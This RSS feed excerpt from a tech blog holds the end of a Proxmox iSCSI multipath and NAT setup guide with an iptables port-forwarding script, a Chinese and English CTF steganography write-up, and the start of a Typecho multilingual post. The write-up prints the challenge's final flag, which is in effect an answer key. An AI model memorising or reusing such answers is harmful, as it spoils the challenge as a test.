iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to enable automatic mounting on boot.&lt;/p&gt;
&lt;p&gt;At this point, checking disks with tools like &lt;code&gt;lsblk&lt;/code&gt; should reveal two additional hard drives; in my case, &lt;code&gt;sdb&lt;/code&gt; and &lt;code&gt;sdc&lt;/code&gt; appeared.&lt;/p&gt;
&lt;h2&gt;Configure Multipath&lt;/h2&gt;
&lt;p&gt;To identify if it&apos;s a multipath device, I tried:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb
/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Checking the &lt;code&gt;scsi_id&lt;/code&gt; of the two disk devices revealed they were identical, confirming they are the same disk using multi-path for load balancing and failover.&lt;/p&gt;
&lt;p&gt;Install &lt;code&gt;multipath-tools&lt;/code&gt; using apt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install multipath-tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, create &lt;code&gt;/etc/multipath.conf&lt;/code&gt; and add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults {
    user_friendly_names yes
    find_multipaths yes
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configure &lt;code&gt;multipathd&lt;/code&gt; to start on boot:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start multipathd
systemctl enable multipathd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, use the following command to scan and automatically configure the multipath device:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;multipath -ll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It should output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device
size=500G features=&apos;1 queue_if_no_path&apos; hwhandler=&apos;1 alua&apos;wp=rw
|-+- policy=&apos;service-time 0&apos; prio=50 status=active
| `- 14:0:0:152 sdb 8:16 active ready running
`-+- policy=&apos;service-time 0&apos; prio=50 status=active
  `- 14:0:0:152 sdc 8:16 active ready running
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows the two disks have been recognized as a single multipath device. Now, you can find the multipath disk under &lt;code&gt;/dev/mapper/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@localhost:/dev/mapper# ls
control  mpatha
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;mpatha&lt;/code&gt; is the multipath aggregated disk.&lt;/p&gt;
&lt;p&gt;If it&apos;s not scanned, try using:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rescan-scsi-bus.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to rescan the SCSI bus and try again. If the command is not found, install it via &lt;code&gt;apt install sg3-utils&lt;/code&gt;.
&lt;s&gt;If all else fails, just reboot.&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Configure Proxmox VE to Use the Data Disk&lt;/h2&gt;
&lt;p&gt;Because we used multipath, we cannot directly add an iSCSI type storage.
Use the following commands to create the PV and VG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pvcreate /dev/mapper/mpatha
vgcreate &amp;lt;vg name&amp;gt; /dev/mapper/mpatha
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, I configured the entire disk as a PV. You could also create a separate partition for this.&lt;/p&gt;
&lt;p&gt;After completion, open the Proxmox VE management interface, go to &lt;strong&gt;Datacenter&lt;/strong&gt; - &lt;strong&gt;Storage&lt;/strong&gt;, click &lt;strong&gt;Add&lt;/strong&gt; - &lt;strong&gt;LVM&lt;/strong&gt;, select the name of the VG you just created for &lt;strong&gt;Volume group&lt;/strong&gt;, give it an &lt;strong&gt;ID&lt;/strong&gt; (name), and click &lt;strong&gt;Add&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;At this point, all configurations from the original system should have been migrated.&lt;/p&gt;
&lt;h1&gt;Configure NAT and Port Forwarding&lt;/h1&gt;
&lt;h2&gt;NAT&lt;/h2&gt;
&lt;p&gt;Because only one IPv4 address was purchased, NAT needs to be configured to allow all VMs to access the internet normally.
Open &lt;code&gt;/etc/network/interfaces&lt;/code&gt; and add the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto vmbr0
iface vmbr0 inet static
    address   192.168.100.1
    netmask   255.255.255.0
    bridge_ports none
    bridge_stp off
    bridge_fd 0

    post-up   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
    post-up   iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-up   iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1
    post-up   iptables -A FORWARD -i vmbr0 -j ACCEPT
    post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1
    post-down iptables -D FORWARD -i vmbr0 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;vmbr0&lt;/code&gt; is the NAT bridge, with the IP segment &lt;code&gt;192.168.100.0/24&lt;/code&gt;. Traffic from this segment will be translated to the IP of the external network interface &lt;code&gt;ens6f0&lt;/code&gt; for outgoing traffic, and translated back to the original IP upon receiving replies, enabling IP sharing.&lt;/p&gt;
&lt;p&gt;Then, use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ifreload -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to reload the configuration.&lt;/p&gt;
&lt;p&gt;Now, the VMs should be able to access the internet. Just configure a static IP within the &lt;code&gt;192.168.100.0/24&lt;/code&gt; range during installation, set the default gateway to &lt;code&gt;192.168.100.1&lt;/code&gt;, and configure the DNS address.&lt;/p&gt;
&lt;h2&gt;Port Forwarding&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;Got lazy, directly prompted an AI.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Had an AI write a configuration script &lt;code&gt;/usr/local/bin/natmgr&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

# =================Configuration Area=================
# Public network interface name (Please modify according to your actual situation)
PUB_IF=&quot;ens6f0&quot;
# ====================================================

ACTION=$1
ARG1=$2
ARG2=$3
ARG3=$4
ARG4=$5

# Check if running as root
if [ &quot;$EUID&quot; -ne 0 ]; then
  echo &quot;Please run this script with root privileges&quot;
  exit 1
fi

# Generate random ID (6 characters)
generate_id() {
    # Introduce nanoseconds and random salt to ensure ID uniqueness even if the script runs quickly
    echo &quot;$RANDOM $(date +%s%N)&quot; | md5sum | head -c 6
}

# Show help information
usage() {
    echo &quot;Usage: $0 {add|del|list|save} [parameters]&quot;
    echo &quot;&quot;
    echo &quot;Commands:&quot;
    echo &quot;  add &amp;lt;Public Port&amp;gt; &amp;lt;Internal IP&amp;gt; &amp;lt;Internal Port&amp;gt; [Protocol]   Add forwarding rule&quot;
    echo &quot;      [Protocol] optional: tcp, udp, both (default: both)&quot;
    echo &quot;  del &amp;lt;ID&amp;gt;                                   Delete forwarding rule by ID&quot;
    echo &quot;  list                                       View all current forwarding rules&quot;
    echo &quot;  save                                       Save current rules to persist after reboot (Must run!)&quot;
    echo &quot;&quot;
    echo &quot;Examples:&quot;
    echo &quot;  $0 add 8080 192.168.100.101 80 both&quot;
    echo &quot;  $0 save&quot;
    echo &quot;&quot;
}

# Internal function: add single protocol rule
_add_single_rule() {
    local PROTO=$1
    local L_PORT=$2
    local T_IP=$3
    local T_PORT=$4

    local RULE_ID=$(generate_id)
    local COMMENT=&quot;NAT_ID:${RULE_ID}&quot;

    # 1. Add DNAT rule (PREROUTING chain)
    iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment &quot;$COMMENT&quot;

    # 2. Add FORWARD rule (Allow packet passage)
    iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment &quot;$COMMENT&quot; -j ACCEPT

    # Output result
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;$RULE_ID&quot; &quot;$PROTO&quot; &quot;$L_PORT&quot; &quot;$T_IP:$T_PORT&quot; &quot;Success&quot;
    
    # Remind user to save
    echo &quot;Please run &apos;$0 save&apos; to ensure rules persist after reboot.&quot;
}

# Main add function
add_rule() {
    local L_PORT=$1
    local T_IP=$2
    local T_PORT=$3
    local PROTO_REQ=${4:-both} # Default to both

    if [[ -z &quot;$L_PORT&quot; || -z &quot;$T_IP&quot; || -z &quot;$T_PORT&quot; ]]; then
        echo &quot;Error: Missing parameters&quot;
        usage
        exit 1
    fi

    # Convert to lowercase
    PROTO_REQ=$(echo &quot;$PROTO_REQ&quot; | tr &apos;[:upper:]&apos; &apos;[:lower:]&apos;)

    echo &quot;Adding rule...&quot;
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;ID&quot; &quot;Protocol&quot; &quot;Public Port&quot; &quot;Target Address&quot; &quot;Status&quot;
    echo &quot;------------------------------------------------------------------&quot;

    if [[ &quot;$PROTO_REQ&quot; == &quot;tcp&quot; ]]; then
        _add_single_rule &quot;tcp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    elif [[ &quot;$PROTO_REQ&quot; == &quot;udp&quot; ]]; then
        _add_single_rule &quot;udp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    elif [[ &quot;$PROTO_REQ&quot; == &quot;both&quot; ]]; then
        _add_single_rule &quot;tcp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
        _add_single_rule &quot;udp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    else
        echo &quot;Error: Unsupported protocol &apos;$PROTO_REQ&apos;. Please use tcp, udp, or both.&quot;
        exit 1
    fi
    echo &quot;------------------------------------------------------------------&quot;
}

# Delete rule (Delete in reverse line number order)
del_rule() {
    local RULE_ID=$1

    if [[ -z &quot;$RULE_ID&quot; ]]; then
        echo &quot;Error: Please provide rule ID&quot;
        usage
        exit 1
    fi

    echo &quot;Searching for rule with ID [${RULE_ID}]...&quot;
    
    local FOUND=0

    # --- Clean NAT table (PREROUTING) ---
    LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep &quot;NAT_ID:${RULE_ID}&quot; | awk &apos;{print $1}&apos; | sort -rn)
    if [[ ! -z &quot;$LINES&quot; ]]; then
        for line in $LINES; do
            iptables -t nat -D PREROUTING $line
            echo &quot;Deleted NAT table PREROUTING chain line $line&quot;
            FOUND=1
        done
    fi

    # --- Clean Filter table (FORWARD) ---
    LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep &quot;NAT_ID:${RULE_ID}&quot; | awk &apos;{print $1}&apos; | sort -rn)
    if [[ ! -z &quot;$LINES&quot; ]]; then
        for line in $LINES; do
            iptables -t filter -D FORWARD $line
            echo &quot;Deleted Filter table FORWARD chain line $line&quot;
            FOUND=1
        done
    fi

    if [[ $FOUND -eq 0 ]]; then
        echo &quot;No rule found with ID $RULE_ID.&quot;
    else
        echo &quot;Delete operation completed.&quot;
        echo &quot;Please run &apos;$0 save&apos; to update the persistent configuration file.&quot;
    fi
}

# Save rules to disk (New feature)
save_rules() {
    echo &quot;Saving current iptables rules...&quot;
    # netfilter-persistent is the service managing iptables-persistent in Debian/Proxmox
    if command -v netfilter-persistent &amp;amp;&amp;gt; /dev/null; then
        netfilter-persistent save
        if [ $? -eq 0 ]; then
            echo &quot;✅ Rules successfully saved to /etc/iptables/rules.v4, will be automatically restored after system reboot.&quot;
        else
            echo &quot;❌ Failed to save rules. Please check the status of the &apos;netfilter-persistent&apos; service.&quot;
        fi
    else
        echo &quot;Warning: &apos;netfilter-persistent&apos; command not found.&quot;
        echo &quot;Please ensure the &apos;iptables-persistent&apos; package is installed.&quot;
        echo &quot;Install command: apt update &amp;amp;&amp;amp; apt install iptables-persistent&quot;
    fi
}

# List rules
list_rules() {
    echo &quot;Current Port Forwarding Rules List:&quot;
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;ID&quot; &quot;Protocol&quot; &quot;Public Port&quot; &quot;Target Address&quot; &quot;Target Port&quot;
    echo &quot;------------------------------------------------------------------&quot;

    # Parse iptables output
    iptables -t nat -nL PREROUTING -v | grep &quot;NAT_ID:&quot; | while read line; do
        id=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=NAT_ID:)[^ ]*&apos;)
        
        # Extract protocol
        if echo &quot;$line&quot; | grep -q &quot;tcp&quot;; then proto=&quot;tcp&quot;; else proto=&quot;udp&quot;; fi
        
        # Extract port after dpt:
        l_port=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=dpt:)[0-9]+&apos;)
        
        # Extract IP:Port after to:
        target=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=to:).*&apos;)
        t_ip=${target%:*}
        t_port=${target#*:}

        printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;$id&quot; &quot;$proto&quot; &quot;$l_port&quot; &quot;$t_ip&quot; &quot;$t_port&quot;
    done
}

# Main logic
case &quot;$ACTION&quot; in
    add)
        add_rule &quot;$ARG1&quot; &quot;$ARG2&quot; &quot;$ARG3&quot; &quot;$ARG4&quot;
        ;;
    del)
        del_rule &quot;$ARG1&quot;
        ;;
    list)
        list_rules
        exit 0
        ;;
    save)
        save_rules
        ;;
    *)
        usage
        exit 1
        ;;
esac
save_rules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script automatically adds/deletes iptables rules for port forwarding. Remember to &lt;code&gt;chmod +x&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use &lt;code&gt;iptables-persistent&lt;/code&gt; to save the configuration and load it automatically on boot:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install iptables-persistent
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During configuration, you will be asked whether to save the current rules; Yes or No is fine.&lt;/p&gt;
&lt;p&gt;When adding a forwarding rule, use &lt;code&gt;natmgr add &amp;lt;host listen port&amp;gt; &amp;lt;VM internal IP&amp;gt; &amp;lt;VM port&amp;gt; [tcp/udp/both]&lt;/code&gt;. The script will automatically assign a unique ID. Use &lt;code&gt;natmgr del &amp;lt;ID&amp;gt;&lt;/code&gt; to delete. Use &lt;code&gt;natmgr list&lt;/code&gt; to view the existing forwarding list.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Reference Articles:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bin456789/reinstall&quot;&gt;bin456789/reinstall: 一键DD/重装脚本 (One-click reinstall OS on VPS) - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_12_Bookworm&quot;&gt;Install Proxmox VE on Debian 12 Bookworm - Proxmox VE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_26129413/article/details/121790221&quot;&gt;PVE连接 TrueNAS iSCSI存储实现本地无盘化_pve iscsi-CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://frytea.com/archives/1445/&quot;&gt;ProxmoxVE (PVE) NAT 网络配置方法 - Oskyla 烹茶室&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>2025古剑山 Misc 水果 WriteUp</title><link>https://blog.iyoroy.cn/posts/231/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/231/</guid><description>2025 古剑山 Misc 题「水果」的解题记录：从文件末尾提取 ZIP，识别 OurSecret 隐写，再根据文本中的水果对话还原 flag。</description><pubDate>Sat, 29 Nov 2025 06:02:00 GMT</pubDate><content:encoded>&lt;p&gt;通过010 editor打开文件，发现末端存在ZIP头：
&lt;img src=&quot;./images/2025/11/3872858025.png&quot; alt=&quot;fruit-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提取出来，打开发现无密码，是一串base64：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你这苹果怎么这么大
大个儿才值钱你要不要
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梨子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时，发现导出的zip末端仍然有一部分未识别的数据：
&lt;img src=&quot;./images/2025/11/114219579.png&quot; alt=&quot;fruit-2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据其&lt;code&gt;1A 9E 97 BA 2A&lt;/code&gt;可推测这是OurSecret隐写，通过OurSecret工具打开，发现需要密码。尝试发现密码就是&lt;code&gt;shuiguo&lt;/code&gt;，可解出来一个txt：
&lt;img src=&quot;./images/2025/11/3626657922.png&quot; alt=&quot;fruit-3.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这苹果怎么这么大
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这西瓜能吃吗看起来有点不熟
你这柚子这么小
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这柚子这么小
这西瓜能吃吗看起来有点不熟
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜吃着有口感
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条，推测是16进制，分别是&lt;code&gt;0-f&lt;/code&gt;，然后将OurSecret解密出来的内容分别对应成16进制数，可得到：&lt;code&gt;666c61677b33653235393630613739646263363962363734636434656336376137326336327d&lt;/code&gt;。
编写python脚本，2个一组按照ascii转换成字符：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hex_string = &quot;666c61677b33653235393630613739646263363962363734636434656336376137326336327d&quot;
ascii_string = &apos;&apos;.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到Flag：&lt;code&gt;flag{3e25960a79dbc69b674cd4ec67a72c62}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>2025 Gujianshan Misc Fruit WriteUp</title><link>https://blog.iyoroy.cn/posts/en-231/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-231/</guid><description>Solving the 2025 Gujianshan Misc challenge Fruit by extracting an appended ZIP, identifying OurSecret steganography, and decoding fruit-themed dialogue to recover the flag.</description><pubDate>Sat, 29 Nov 2025 06:02:00 GMT</pubDate><content:encoded>&lt;p&gt;Open the file using 010 Editor and find a ZIP header at the end:
&lt;img src=&quot;./images/2025/11/3872858025.png&quot; alt=&quot;fruit-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Extract it and open it to find no password, just a string of base64:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decode to get:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你这苹果怎么这么大
大个儿才值钱你要不要
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梨子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the same time, it is found that there is still part of unrecognized data at the end of the exported zip:&lt;br /&gt;
&lt;img src=&quot;./images/2025/11/114219579.png&quot; alt=&quot;fruit-2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Based on the &lt;code&gt;1A 9E 97 BA 2A&lt;/code&gt;, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password &lt;code&gt;shuiguo&lt;/code&gt; to extract a txt file:&lt;br /&gt;
&lt;img src=&quot;./images/2025/11/3626657922.png&quot; alt=&quot;fruit-3.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这苹果怎么这么大
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这西瓜能吃吗看起来有点不熟
你这柚子这么小
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这柚子这么小
这西瓜能吃吗看起来有点不熟
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜吃着有口感
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to &lt;code&gt;0-f&lt;/code&gt; respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: &lt;code&gt;666c61677b33653235393630613739646263363962363734636434656336376137326336327d&lt;/code&gt;.&lt;br /&gt;
Write a Python script to convert the hexadecimal string to ASCII characters in groups of two:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hex_string = &quot;666c61677b33653235393630613739646263363962363734636434656336376137326336327d&quot;
ascii_string = &apos;&apos;.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Get the Flag: &lt;code&gt;flag{3e25960a79dbc69b674cd4ec67a72c62}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>为Typecho配置简易多语言方案</title><link>https://blog.iyoroy.cn/posts/226/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/226/</guid><description>用两个 Typecho 实例维护中英文博客，通过插件同步文章 cid，配置语言切换、sitemap 和 hreflang，并处理浏览量与评论同步。</description><pubDate>Wed, 19 Nov 2025 14:10:00 GMT</pubDate><content:encoded>&lt;p&gt;想着给博客做一下国际化支持，为每篇文章和每个页面单独配置一个英文版本，但是上网查了一圈发现Typecho对国际化的支持并不好，最终自己设计了一套方案，写这篇文章记录下来&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文默认你对PHP、Nginx、Typecho的基础逻辑有部分了解&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;h2&gt;需求&lt;/h2&gt;
&lt;ul&gt;
